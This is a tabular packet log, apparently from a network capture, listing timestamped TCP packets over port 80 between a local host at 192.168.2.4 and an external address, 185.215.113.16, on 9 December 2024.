Dec 9, 2024 23:09:20.827788115 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.827858925 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.827883959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.828795910 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.828933954 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.828995943 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.829843998 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.829937935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.829998970 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.830852985 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.830957890 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.831011057 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.831871033 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.831962109 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.831993103 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.832938910 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.833059072 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.833108902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.833965063 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.834230900 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.834960938 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.834970951 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.835056067 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.835103035 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.836000919 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.836147070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.836194038 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.837030888 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.837255001 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.837987900 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.838011026 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.838097095 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.838145971 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.839097023 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.839267015 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.839315891 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.840085030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.840153933 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.841207981 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.841269016 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.841305971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.842143059 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.842278004 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.842336893 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.843163967 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.843275070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.843332052 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.844178915 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.844239950 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.844244957 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.844424963 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:20.845144987 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:20.845201015 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.201869965 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.201883078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.201905012 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.201917887 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.201953888 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.201978922 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.201994896 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.201999903 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202024937 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202048063 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202397108 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202409983 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202420950 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202433109 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202444077 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202445984 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202457905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202467918 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202472925 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202481985 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202483892 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202495098 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202506065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.202514887 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.202543020 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.203344107 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203353882 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203363895 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203373909 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203382969 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203388929 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203393936 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203397036 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.203399897 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203411102 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203419924 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.203433990 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.203433990 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.203468084 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.204274893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204284906 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204297066 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204308987 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204319000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204330921 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204334974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204338074 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.204338074 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.204345942 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204355001 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204358101 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.204365969 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.204379082 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.204406977 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205065966 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205075979 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205112934 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205123901 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205122948 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205137968 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205147982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205163956 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205190897 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205554962 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205682039 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205693007 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205703020 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205712080 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205720901 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205724955 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205730915 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205739975 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205746889 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205749989 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205759048 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.205768108 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205782890 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.205804110 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.206458092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206593990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206604958 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206614971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206624985 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206634045 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206635952 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.206645012 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206653118 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206660032 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.206662893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206671000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.206677914 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.206697941 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.206721067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.207452059 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207463026 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207473040 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207504988 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.207520962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.207541943 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207552910 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207561016 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207571030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207585096 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207585096 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.207595110 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207604885 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.207611084 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.207629919 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.207647085 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.208394051 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208404064 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208414078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208431959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208441019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208445072 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.208451033 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208465099 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208468914 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.208476067 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208486080 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208487034 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.208496094 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.208513975 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.208540916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.209372997 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209383965 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209393978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209403992 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209410906 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.209414005 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209424973 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209433079 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.209434032 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209444046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209451914 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209455967 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.209465027 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.209481001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.209502935 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.210160971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210289001 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210299969 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210309982 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210319996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210325956 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.210330009 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210340023 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210349083 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210350990 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.210356951 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.210359097 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210372925 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.210383892 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.210407972 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.211236954 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211246967 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211256981 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211266041 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211273909 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211276054 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.211294889 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.211319923 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.211334944 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211344957 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211354971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.211380959 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.211393118 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.212018013 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212158918 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212168932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212179899 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212189913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212193012 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.212204933 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212208986 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.212214947 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212224960 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212225914 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.212236881 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212246895 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.212249041 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.212272882 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.212281942 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.213090897 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213102102 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213110924 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213121891 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213131905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213133097 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.213141918 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213152885 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213154078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.213162899 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213171959 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.213172913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213185072 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.213191032 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.213215113 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.213222027 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214006901 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214021921 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214031935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214040995 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214050055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214057922 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214060068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214070082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214078903 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214081049 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214091063 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214103937 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214113951 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214134932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214143991 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214858055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214868069 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214888096 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214900017 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214909077 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214919090 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214920998 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214929104 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214937925 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214942932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214947939 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214955091 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214956999 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214967966 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.214972973 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.214997053 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215003967 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215713978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215753078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215785980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215795994 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215807915 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215822935 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215826988 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215836048 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215837955 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215847969 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215854883 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215857983 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215868950 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215873003 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215877056 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.215894938 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215910912 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.215929985 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.216840029 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216850996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216861010 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216870070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216878891 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216888905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216891050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.216898918 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216908932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216911077 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.216918945 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216922998 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.216929913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.216944933 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.216958046 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.216980934 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217549086 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217592001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217678070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217689037 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217699051 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217709064 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217719078 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217719078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217719078 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217730045 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217741013 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217742920 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217751980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217760086 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.217762947 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217777014 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.217798948 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.218497992 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.218559980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.218569994 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.218580008 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.218590021 CET	80	49791	185.215.113.16	192.168.2.4
